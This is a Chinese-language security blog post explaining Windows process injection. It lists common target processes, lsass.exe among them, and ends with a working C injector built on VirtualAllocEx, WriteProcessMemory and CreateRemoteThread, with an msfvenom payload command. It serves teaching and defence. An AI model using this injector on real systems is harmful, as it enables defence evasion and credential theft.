Process Injection

admin 2025年1月11日13:41:22评论15 views字数 2360阅读7分52秒阅读模式

想卷卷不动,想躺躺不平,这就是我现在的状态。

Process injection 

攻击者可能会向进程中注入代码,以逃避基于进程的防御以及可能提升权限。进程注入是一种在单独的活动进程的地址空间中执行任意代码的方法。在另一个进程的上下文中运行代码可能允许访问该进程的内存、系统/网络资源以及可能提升的权限。通过进程注入执行也可能逃避安全产品的检测,因为执行在合法进程下被屏蔽。

    Cobalt Strike 提供了两种在远程进程中分配内存并将数据复制到其中的选项,而其中默认使用项就是使用了 VirtualAllocEx -> WriteProcessMemory 的经典模式,这模式也是红队工具中最常见的模式。此模式也适用于不同的进程体系结构。

攻击者经常注入的进程包括以下:

  • lsass.exe(凭证盗窃)

  • calc.exe(防御规避)

  • notepad.exe(防御规避)

  • svchost.exe(防御规避)

  • backgroundtaskhost.exe(防御规避)

  • dllhost.exe(通常用于托管 COM 组件,攻击者经常注入到这个进程中,以便融入一个经常执行且预计生命周期很短的进程

  • regsvr32.exe(应用程序控制绕过和其他规避)

  • searchprotocolhost.exe(应用程序控制绕过和其他规避)。

  • werfault.exe(防御规避)

  • wuauclt.exe(防御规避)

  • spoolsv.exe(防御规避)

  • 浏览器进程(标准化网络连接、信息窃取/银行木马)

经典组合

常用的进程注入需要用到4个Windows Api,

  • OpenProcess - OpenProcess函数可以返回已有进程对象的句柄。

  • VirtualAllocEX - VirtualAllocEx函数用于分配内存,同时赋予对内存地址的访问权限。

  • WriteProcessMemory - WriteProcessMemory函数可以将数据写入指定进程中的内存区域。

  • CreateRemoteThread - CreateRemoteThread函数将创建一个新线程,该线程运行在另一个进程的虚拟地址空间。

OpenProcess

OpenProcess 函数打开一个现有的进程对象。

HANDLE OpenProcess(  DWORD dwDesiredAccess,  BOOL  bInheritHandle,  DWORD dwProcessId);

VirtualAllocEx

首先分配一块与我们的 shellcode 大小相同的内存。VirtualAllocEx 是我们需要调用的 Windows API,以便初始化位于指定进程(即我们要注入的进程)的虚拟地址空间内的内存区域中的缓冲区空间。
VirtualAllocEx – 与VirtualAlloc (HANDLE hProcess)相比,此 API 调用需要一个附加参数,后者是受害者进程的句柄。

LPVOID VirtualAllocEx(  HANDLE hProcess,           LPVOID lpAddress,  SIZE_T dwSize,  DWORD  flAllocationType,  DWORD  flProtect);

WriteProcessMemory

将 shellcode 写入该缓冲区

BOOL WriteProcessMemory(  HANDLE  hProcess,  LPVOID  lpBaseAddress,  LPCVOID lpBuffer,  SIZE_T  nSize,  SIZE_T  *lpNumberOfBytesWritten);

CreateRemoteThread

创建一个在另一个进程的虚拟地址空间中运行的线程。

HANDLE CreateRemoteThread(  HANDLE                 hProcess,  LPSECURITY_ATTRIBUTES  lpThreadAttributes,  SIZE_T                 dwStackSize,  LPTHREAD_START_ROUTINE lpStartAddress,  LPVOID                 lpParameter,  DWORD                  dwCreationFlags,  LPDWORD                lpThreadId);

demo

#include<Windows.h>#include<stdio.h>#include <stdlib.h>// msfveom -p windows/x64/exec CMD=calc -exitfunc=thread -f cunsigned char buf[] = "";int main(int argc, char* argv[]) {    HANDLE Process = OpenProcess((DWORD)PROCESS_ALL_ACCESS, (BOOL)FALSE, atoi(argv[1]));    printf("Inject PID: %d", atoi(argv[1]));    void* exec = VirtualAllocEx(Process, NULL, sizeof(buf), MEM_COMMIT,PAGE_EXECUTE_READWRITE);    BOOL Memory = WriteProcessMemory((HANDLE)Process, (LPVOID)exec,(LPCVOID)buf, sizeof buf, NULL);    HANDLE thred = CreateRemoteThread((HANDLE)Process, (LPSECURITY_ATTRIBUTES)NULL, (SIZE_T)0, (LPTHREAD_START_ROUTINE)exec, (LPVOID)NULL, (DWORD)0, (LPDWORD)NULL);}

Process Injection

原文始发于微信公众号(仙友道):Process Injection

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月11日13:41:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Process Injectionhttps://cn-sec.com/archives/1203031.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息